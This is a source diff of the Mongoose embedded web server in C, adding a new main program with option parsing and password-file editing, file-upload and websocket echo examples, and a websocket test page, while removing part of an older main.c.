// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
|
||||
#undef UNICODE // Use ANSI WinAPI functions
|
||||
#undef _UNICODE // Use multibyte encoding on Windows
|
||||
#define _MBCS // Use multibyte encoding on Windows
|
||||
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
|
||||
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
||||
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <direct.h> // For chdir()
|
||||
#include <winsvc.h>
|
||||
#include <shlobj.h>
|
||||
|
||||
#ifndef PATH_MAX
|
||||
#define PATH_MAX MAX_PATH
|
||||
#endif
|
||||
|
||||
#ifndef S_ISDIR
|
||||
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
||||
#endif
|
||||
|
||||
#define DIRSEP '\\'
|
||||
#define snprintf _snprintf
|
||||
#define vsnprintf _vsnprintf
|
||||
#define sleep(x) Sleep((x) * 1000)
|
||||
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
|
||||
#define SIGCHLD 0
|
||||
typedef struct _stat file_stat_t;
|
||||
#define stat(x, y) _stat((x), (y))
|
||||
#else
|
||||
typedef struct stat file_stat_t;
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#define DIRSEP '/'
|
||||
#define __cdecl
|
||||
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
|
||||
#endif // _WIN32
|
||||
|
||||
#define MAX_OPTIONS 100
|
||||
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
||||
|
||||
static int exit_flag;
|
||||
static char server_name[50]; // Set by init_server_name()
|
||||
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
|
||||
static struct mg_server *server; // Set by start_mongoose()
|
||||
static const char *s_default_document_root = ".";
|
||||
static const char *s_default_listening_port = "8080";
|
||||
|
||||
#if !defined(CONFIG_FILE)
|
||||
#define CONFIG_FILE "mongoose.conf"
|
||||
#endif /* !CONFIG_FILE */
|
||||
|
||||
static void __cdecl signal_handler(int sig_num) {
|
||||
// Reinstantiate signal handler
|
||||
signal(sig_num, signal_handler);
|
||||
|
||||
#ifndef _WIN32
|
||||
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
|
||||
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
|
||||
// fails if SIGCHLD is ignored, making system() non-functional.
|
||||
if (sig_num == SIGCHLD) {
|
||||
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
|
||||
} else
|
||||
#endif
|
||||
{ exit_flag = sig_num; }
|
||||
}
|
||||
|
||||
static void vnotify(const char *fmt, va_list ap, int must_exit) {
|
||||
char msg[200];
|
||||
|
||||
vsnprintf(msg, sizeof(msg), fmt, ap);
|
||||
fprintf(stderr, "%s\n", msg);
|
||||
|
||||
if (must_exit) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
static void notify(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vnotify(fmt, ap, 0);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static void die(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vnotify(fmt, ap, 1);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static void show_usage_and_exit(void) {
|
||||
const char **names;
|
||||
int i;
|
||||
|
||||
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
|
||||
MONGOOSE_VERSION, __DATE__);
|
||||
fprintf(stderr, "Usage:\n");
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
||||
#endif
|
||||
fprintf(stderr, " mongoose [config_file]\n");
|
||||
fprintf(stderr, " mongoose [-option value ...]\n");
|
||||
fprintf(stderr, "\nOPTIONS:\n");
|
||||
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 2) {
|
||||
fprintf(stderr, " -%s %s\n",
|
||||
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static char *sdup(const char *str) {
|
||||
char *p;
|
||||
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
||||
strcpy(p, str);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
static void set_option(char **options, const char *name, const char *value) {
|
||||
int i;
|
||||
|
||||
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
||||
if (options[i] == NULL) {
|
||||
options[i] = sdup(name);
|
||||
options[i + 1] = sdup(value);
|
||||
options[i + 2] = NULL;
|
||||
break;
|
||||
} else if (!strcmp(options[i], name)) {
|
||||
free(options[i + 1]);
|
||||
options[i + 1] = sdup(value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (i == MAX_OPTIONS - 3) {
|
||||
die("%s", "Too many options specified");
|
||||
}
|
||||
}
|
||||
|
||||
static void process_command_line_arguments(char *argv[], char **options) {
|
||||
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
|
||||
FILE *fp = NULL;
|
||||
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
||||
|
||||
// Should we use a config file ?
|
||||
if (argv[1] != NULL && argv[1][0] != '-') {
|
||||
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
|
||||
cmd_line_opts_start = 2;
|
||||
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
||||
// No command line flags specified. Look where binary lives
|
||||
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
|
||||
} else {
|
||||
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
|
||||
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
||||
}
|
||||
|
||||
fp = fopen(config_file, "r");
|
||||
|
||||
// If config file was set in command line and open failed, die
|
||||
if (cmd_line_opts_start == 2 && fp == NULL) {
|
||||
die("Cannot open config file %s: %s", config_file, strerror(errno));
|
||||
}
|
||||
|
||||
// Load config file settings first
|
||||
if (fp != NULL) {
|
||||
fprintf(stderr, "Loading config file %s\n", config_file);
|
||||
|
||||
// Loop over the lines in config file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
line_no++;
|
||||
|
||||
// Ignore empty lines and comments
|
||||
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
|
||||
if (line[i] == '#' || line[i] == '\0') {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
||||
printf("%s: line %d is invalid, ignoring it:\n %s",
|
||||
config_file, (int) line_no, line);
|
||||
} else {
|
||||
set_option(options, opt, val);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
// If we're under MacOS and started by launchd, then the second
|
||||
// argument is process serial number, -psn_.....
|
||||
// In this case, don't process arguments at all.
|
||||
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
|
||||
// Handle command line flags.
|
||||
// They override config file and default settings.
|
||||
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
||||
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
set_option(options, &argv[i][1], argv[i + 1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void init_server_name(void) {
|
||||
const char *descr = "";
|
||||
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
|
||||
MONGOOSE_VERSION, descr);
|
||||
}
|
||||
|
||||
static int is_path_absolute(const char *path) {
|
||||
#ifdef _WIN32
|
||||
return path != NULL &&
|
||||
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
|
||||
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
|
||||
#else
|
||||
return path != NULL && path[0] == '/';
|
||||
#endif
|
||||
}
|
||||
|
||||
static char *get_option(char **options, const char *option_name) {
|
||||
int i;
|
||||
|
||||
for (i = 0; options[i] != NULL; i++)
|
||||
if (!strcmp(options[i], option_name))
|
||||
return options[i + 1];
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int path_exists(const char *path, int is_dir) {
|
||||
file_stat_t st;
|
||||
return path == NULL || (stat(path, &st) == 0 &&
|
||||
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
|
||||
}
|
||||
|
||||
static void verify_existence(char **options, const char *name, int is_dir) {
|
||||
const char *path = get_option(options, name);
|
||||
if (!path_exists(path, is_dir)) {
|
||||
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
|
||||
"absolute, or it is relative to mongoose executable.",
|
||||
name, path, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void set_absolute_path(char *options[], const char *option_name,
|
||||
const char *path_to_mongoose_exe) {
|
||||
char path[PATH_MAX], abs[PATH_MAX], *option_value;
|
||||
const char *p;
|
||||
|
||||
// Check whether option is already set
|
||||
option_value = get_option(options, option_name);
|
||||
|
||||
// If option is already set and it is an absolute path,
|
||||
// leave it as it is -- it's already absolute.
|
||||
if (option_value != NULL && !is_path_absolute(option_value)) {
|
||||
// Not absolute. Use the directory where mongoose executable lives
|
||||
// be the relative directory for everything.
|
||||
// Extract mongoose executable directory into path.
|
||||
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
|
||||
getcwd(path, sizeof(path));
|
||||
} else {
|
||||
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
|
||||
path_to_mongoose_exe);
|
||||
}
|
||||
|
||||
strncat(path, "/", sizeof(path) - 1);
|
||||
strncat(path, option_value, sizeof(path) - 1);
|
||||
|
||||
// Absolutize the path, and set the option
|
||||
abs_path(path, abs, sizeof(abs));
|
||||
set_option(options, option_name, abs);
|
||||
}
|
||||
}
|
||||
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
int modify_passwords_file(const char *fname, const char *domain,
|
||||
const char *user, const char *pass) {
|
||||
int found;
|
||||
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
|
||||
FILE *fp, *fp2;
|
||||
|
||||
found = 0;
|
||||
fp = fp2 = NULL;
|
||||
|
||||
// Regard empty password as no password - remove user record.
|
||||
if (pass != NULL && pass[0] == '\0') {
|
||||
pass = NULL;
|
||||
}
|
||||
|
||||
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
|
||||
|
||||
// Create the file if does not exist
|
||||
if ((fp = fopen(fname, "a+")) != NULL) {
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
// Open the given file and temporary file
|
||||
if ((fp = fopen(fname, "r")) == NULL) {
|
||||
return 0;
|
||||
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy the stuff to temporary file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!strcmp(u, user) && !strcmp(d, domain)) {
|
||||
found++;
|
||||
if (pass != NULL) {
|
||||
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||
}
|
||||
} else {
|
||||
fprintf(fp2, "%s", line);
|
||||
}
|
||||
}
|
||||
|
||||
// If new user, just add it
|
||||
if (!found && pass != NULL) {
|
||||
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||
}
|
||||
|
||||
// Close files
|
||||
fclose(fp);
|
||||
fclose(fp2);
|
||||
|
||||
// Put the temp file in place of real file
|
||||
remove(fname);
|
||||
rename(tmp, fname);
|
||||
|
||||
return 1;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void start_mongoose(int argc, char *argv[]) {
|
||||
char *options[MAX_OPTIONS];
|
||||
int i;
|
||||
|
||||
if ((server = mg_create_server(NULL)) == NULL) {
|
||||
die("%s", "Failed to start Mongoose.");
|
||||
}
|
||||
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
// Edit passwords file if -A option is specified
|
||||
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
||||
if (argc != 6) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
||||
EXIT_SUCCESS : EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Show usage if -h or --help options are specified
|
||||
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
|
||||
options[0] = NULL;
|
||||
set_option(options, "document_root", s_default_document_root);
|
||||
set_option(options, "listening_port", s_default_listening_port);
|
||||
|
||||
// Update config based on command line arguments
|
||||
process_command_line_arguments(argv, options);
|
||||
|
||||
// Make sure we have absolute paths for files and directories
|
||||
// https://github.com/valenok/mongoose/issues/181
|
||||
set_absolute_path(options, "document_root", argv[0]);
|
||||
set_absolute_path(options, "dav_auth_file", argv[0]);
|
||||
set_absolute_path(options, "cgi_interpreter", argv[0]);
|
||||
set_absolute_path(options, "access_log_file", argv[0]);
|
||||
set_absolute_path(options, "global_auth_file", argv[0]);
|
||||
set_absolute_path(options, "ssl_certificate", argv[0]);
|
||||
|
||||
if (!path_exists(get_option(options, "document_root"), 1)) {
|
||||
set_option(options, "document_root", s_default_document_root);
|
||||
set_absolute_path(options, "document_root", argv[0]);
|
||||
notify("Setting document_root to [%s]",
|
||||
mg_get_option(server, "document_root"));
|
||||
}
|
||||
|
||||
// Make extra verification for certain options
|
||||
verify_existence(options, "document_root", 1);
|
||||
verify_existence(options, "cgi_interpreter", 0);
|
||||
verify_existence(options, "ssl_certificate", 0);
|
||||
|
||||
for (i = 0; options[i] != NULL; i += 2) {
|
||||
const char *msg = mg_set_option(server, options[i], options[i + 1]);
|
||||
if (msg != NULL) {
|
||||
notify("Failed to set option [%s] to [%s]: %s",
|
||||
options[i], options[i + 1], msg);
|
||||
if (!strcmp(options[i], "listening_port")) {
|
||||
mg_set_option(server, "listening_port", s_default_listening_port);
|
||||
notify("Setting %s to [%s]", options[i], s_default_listening_port);
|
||||
}
|
||||
}
|
||||
free(options[i]);
|
||||
free(options[i + 1]);
|
||||
}
|
||||
|
||||
// Change current working directory to document root. This way,
|
||||
// scripts can use relative paths.
|
||||
chdir(mg_get_option(server, "document_root"));
|
||||
|
||||
// Add an ability to pass listening socket to mongoose
|
||||
{
|
||||
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
|
||||
if (env != NULL && atoi(env) > 0 ) {
|
||||
mg_set_listening_socket(server, atoi(env));
|
||||
}
|
||||
}
|
||||
|
||||
// Setup signal handler: quit on Ctrl-C
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
#ifndef _WIN32
|
||||
signal(SIGCHLD, signal_handler);
|
||||
#endif
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
init_server_name();
|
||||
start_mongoose(argc, argv);
|
||||
printf("%s serving [%s] on port %s\n",
|
||||
server_name, mg_get_option(server, "document_root"),
|
||||
mg_get_option(server, "listening_port"));
|
||||
fflush(stdout); // Needed, Windows terminals might not be line-buffered
|
||||
while (exit_flag == 0) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
printf("Exiting on signal %d ...", exit_flag);
|
||||
fflush(stdout);
|
||||
mg_destroy_server(&server);
|
||||
printf("%s\n", " done.");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// Copyright (c) 2004-2012 Sergey Lyubka
|
||||
// This file is a part of mongoose project, http://github.com/valenok/mongoose
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int index_html(struct mg_connection *conn) {
|
||||
const char *data;
|
||||
int data_len;
|
||||
char var_name[100], file_name[100];
|
||||
|
||||
mg_printf_data(conn, "%s",
|
||||
"<html><body>Upload example."
|
||||
"<form method=\"POST\" action=\"/handle_post_request\" "
|
||||
" enctype=\"multipart/form-data\">"
|
||||
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||
"<input type=\"submit\" value=\"Upload\" />"
|
||||
"</form>");
|
||||
|
||||
if (mg_parse_multipart(conn->content, conn->content_len,
|
||||
var_name, sizeof(var_name),
|
||||
file_name, sizeof(file_name),
|
||||
&data, &data_len) > 0) {
|
||||
|
||||
mg_printf_data(conn, "%s", "Uploaded file:<pre>");
|
||||
mg_send_data(conn, data, data_len);
|
||||
mg_printf_data(conn, "%s", "/pre>");
|
||||
}
|
||||
|
||||
mg_printf_data(conn, "%s", "</body></html>");
|
||||
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server;
|
||||
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_request_handler(server, index_html);
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
extern const char *find_embedded_file(const char *, size_t *);
|
||||
|
||||
static int iterate_callback(struct mg_connection *c) {
|
||||
if (c->is_websocket) {
|
||||
char buf[20];
|
||||
int len = snprintf(buf, sizeof(buf), "%d", * (int *) c->connection_param);
|
||||
mg_websocket_write(c, 1, buf, len);
|
||||
}
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
|
||||
static int index_html(struct mg_connection *conn) {
|
||||
size_t index_size;
|
||||
const char *index_html = find_embedded_file("websocket.html", &index_size);
|
||||
|
||||
if (conn->is_websocket) {
|
||||
// This handler is called for each incoming websocket frame, one or more
|
||||
// times for connection lifetime.
|
||||
// Echo websocket data back to the client.
|
||||
mg_websocket_write(conn, 1, conn->content, conn->content_len);
|
||||
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
|
||||
MG_CLIENT_CLOSE : MG_CLIENT_CONTINUE;
|
||||
} else {
|
||||
mg_send_header(conn, "Content-Type", "text/html");
|
||||
mg_send_data(conn, index_html, index_size);
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
unsigned int current_timer = 0, last_timer = 0;
|
||||
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_request_handler(server, index_html);
|
||||
|
||||
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
current_timer = mg_poll_server(server, 100);
|
||||
if (current_timer - last_timer > 0) {
|
||||
last_timer = current_timer;
|
||||
mg_iterate_over_connections(server, iterate_callback, ¤t_timer);
|
||||
}
|
||||
}
|
||||
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<!DOCTYPE html>
|
||||
<meta charset="utf-8" />
|
||||
<title>WebSocket Test</title>
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var out = function(message) {
|
||||
var div = document.createElement('div');
|
||||
div.innerHTML = message;
|
||||
document.getElementById('output').appendChild(div);
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
var url = 'ws://' + location.host + '/ws';
|
||||
var num_messages = 0;
|
||||
|
||||
websocket = new WebSocket(url);
|
||||
websocket.onopen = function(ev) {
|
||||
out('CONNECTED');
|
||||
var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
|
||||
out('SENT: ' + msg);
|
||||
websocket.send(msg);
|
||||
};
|
||||
websocket.onclose = function(ev) {
|
||||
out('DISCONNECTED');
|
||||
};
|
||||
websocket.onmessage = function(ev) {
|
||||
if (!ev.data) {
|
||||
out('<span style="color: blue;">PING... </span>');
|
||||
} else {
|
||||
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
|
||||
num_messages++;
|
||||
}
|
||||
if (num_messages > 15) {
|
||||
websocket.send('exit');
|
||||
}
|
||||
};
|
||||
websocket.onerror = function(ev) {
|
||||
out('<span style="color: red; ">ERROR: </span> ' + ev.data);
|
||||
};
|
||||
};
|
||||
</script>
|
||||
<style> div {font: small Verdana; } </style>
|
||||
<h2>Mongoose WebSocket Test</h2>
|
||||
|
||||
<div id="output"></div>
|
||||
</html>
|
||||
@@ -1,506 +0,0 @@
|
||||
// Copyright (c) 2004-2011 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
|
||||
#if defined(_WIN32)
|
||||
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
||||
#else
|
||||
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <winsvc.h>
|
||||
#define PATH_MAX MAX_PATH
|
||||
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
||||
#define DIRSEP '\\'
|
||||
#define snprintf _snprintf
|
||||
#define vsnprintf _vsnprintf
|
||||
#define sleep(x) Sleep((x) * 1000)
|
||||
#define WINCDECL __cdecl
|
||||
#else
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#define DIRSEP '/'
|
||||
#define WINCDECL
|
||||
#endif // _WIN32
|
||||
|
||||
#define MAX_OPTIONS 40
|
||||
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
||||
|
||||
static int exit_flag;
|
||||
static char server_name[40]; // Set by init_server_name()
|
||||
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
|
||||
static struct mg_context *ctx; // Set by start_mongoose()
|
||||
|
||||
#if !defined(CONFIG_FILE)
|
||||
#define CONFIG_FILE "mongoose.conf"
|
||||
#endif /* !CONFIG_FILE */
|
||||
|
||||
static void WINCDECL signal_handler(int sig_num) {
|
||||
exit_flag = sig_num;
|
||||
}
|
||||
|
||||
static void die(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
char msg[200];
|
||||
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(msg, sizeof(msg), fmt, ap);
|
||||
va_end(ap);
|
||||
|
||||
#if defined(_WIN32)
|
||||
MessageBox(NULL, msg, "Error", MB_OK);
|
||||
#else
|
||||
fprintf(stderr, "%s\n", msg);
|
||||
#endif
|
||||
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void show_usage_and_exit(void) {
|
||||
const char **names;
|
||||
int i;
|
||||
|
||||
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built %s\n",
|
||||
mg_version(), __DATE__);
|
||||
fprintf(stderr, "Usage:\n");
|
||||
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
||||
fprintf(stderr, " mongoose <config_file>\n");
|
||||
fprintf(stderr, " mongoose [-option value ...]\n");
|
||||
fprintf(stderr, "\nOPTIONS:\n");
|
||||
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 3) {
|
||||
fprintf(stderr, " -%s %s (default: \"%s\")\n",
|
||||
names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
|
||||
}
|
||||
fprintf(stderr, "\nSee http://code.google.com/p/mongoose/wiki/MongooseManual"
|
||||
" for more details.\n");
|
||||
fprintf(stderr, "Example:\n mongoose -s cert.pem -p 80,443s -d no\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void verify_document_root(const char *root) {
|
||||
const char *p, *path;
|
||||
char buf[PATH_MAX];
|
||||
struct stat st;
|
||||
|
||||
path = root;
|
||||
if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
|
||||
memcpy(buf, root, p - root);
|
||||
buf[p - root] = '\0';
|
||||
path = buf;
|
||||
}
|
||||
|
||||
if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
|
||||
die("Invalid root directory: [%s]: %s", root, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static char *sdup(const char *str) {
|
||||
char *p;
|
||||
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
||||
strcpy(p, str);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
static void set_option(char **options, const char *name, const char *value) {
|
||||
int i;
|
||||
|
||||
if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
|
||||
verify_document_root(value);
|
||||
}
|
||||
|
||||
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
||||
if (options[i] == NULL) {
|
||||
options[i] = sdup(name);
|
||||
options[i + 1] = sdup(value);
|
||||
options[i + 2] = NULL;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (i == MAX_OPTIONS - 3) {
|
||||
die("%s", "Too many options specified");
|
||||
}
|
||||
}
|
||||
|
||||
static void process_command_line_arguments(char *argv[], char **options) {
|
||||
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
|
||||
FILE *fp = NULL;
|
||||
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
||||
|
||||
options[0] = NULL;
|
||||
|
||||
// Should we use a config file ?
|
||||
if (argv[1] != NULL && argv[1][0] != '-') {
|
||||
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
|
||||
cmd_line_opts_start = 2;
|
||||
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
||||
// No command line flags specified. Look where binary lives
|
||||
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
|
||||
} else {
|
||||
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
|
||||
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
||||
}
|
||||
|
||||
fp = fopen(config_file, "r");
|
||||
|
||||
// If config file was set in command line and open failed, die
|
||||
if (cmd_line_opts_start == 2 && fp == NULL) {
|
||||
die("Cannot open config file %s: %s", config_file, strerror(errno));
|
||||
}
|
||||
|
||||
// Load config file settings first
|
||||
if (fp != NULL) {
|
||||
fprintf(stderr, "Loading config file %s\n", config_file);
|
||||
|
||||
// Loop over the lines in config file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
|
||||
line_no++;
|
||||
|
||||
// Ignore empty lines and comments
|
||||
if (line[0] == '#' || line[0] == '\n')
|
||||
continue;
|
||||
|
||||
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
||||
die("%s: line %d is invalid", config_file, (int) line_no);
|
||||
}
|
||||
set_option(options, opt, val);
|
||||
}
|
||||
|
||||
(void) fclose(fp);
|
||||
}
|
||||
|
||||
// Now handle command line flags. They override config file settings.
|
||||
